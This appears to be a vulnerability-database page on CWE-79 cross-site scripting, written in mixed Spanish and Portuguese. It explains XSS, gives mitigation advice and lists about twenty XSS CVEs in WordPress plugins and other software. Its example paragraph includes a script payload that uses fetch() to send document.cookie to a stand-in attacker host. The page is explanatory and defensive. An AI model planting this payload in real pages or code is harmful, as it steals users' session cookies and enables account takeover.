Fallos del tipo CWE-79

30.296 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-22771MEDIUMWordPress The Great Firewords of China plugin <= 1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2685MEDIUMTablePress – Tables in WordPress made easy <= 3.0.4 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-26870MEDIUMWordPress JetEngine plugin <= 3.6.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-4846MEDIUMdameng100 muucmf autoReply.html cross site scriptingEPSS 0.3%CVE-2025-48920HIGHetracker - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-074EPSS 0.3%CVE-2026-58391MEDIUMOPNsense: Stored XSS in Firewall Rules/NAT pages via a HTML-attribute breakoutEPSS 0.3%CVE-2024-1399MEDIUMRestaurant Menu and Food Ordering <= 2.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-26749MEDIUMWordPress Additional Custom Product Tabs for WooCommerce plugin <= 1.7.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34566CRITICALCI4MS: Pages Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2025-61674MEDIUMOctober CMS Vulnerable to Stored XSS via Editor and Branding StylesEPSS 0.3%CVE-2025-15055HIGHSlimStat Analytics <= 5.3.4 - Unauthenticated Stored Cross-Site Scripting via 'notes/resource' ParametersEPSS 0.3%CVE-2026-5247MEDIUMSchedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories <= 4.10.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'wrapper' Shortcode AttributeEPSS 0.3%CVE-2024-43130MEDIUMWordPress Football Pool plugin <= 2.11.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-22340MEDIUMWordPress Data Dash plugin <= 1.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-0054MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Application Server JavaEPSS 0.3%CVE-2025-69296HIGHWordPress Aardvark theme <= 4.6.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-50412MEDIUMWordPress Conditional Fields for Contact Form 7 plugin <= 2.4.15 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-5015MEDIUMelecV2 elecV2P Endpoint logs cross site scriptingEPSS 0.3%CVE-2024-37545MEDIUMWordPress Floating Social Media Links plugin <= 1.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-68843HIGHWordPress FeedWordPress Advanced Filters plugin <= 0.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%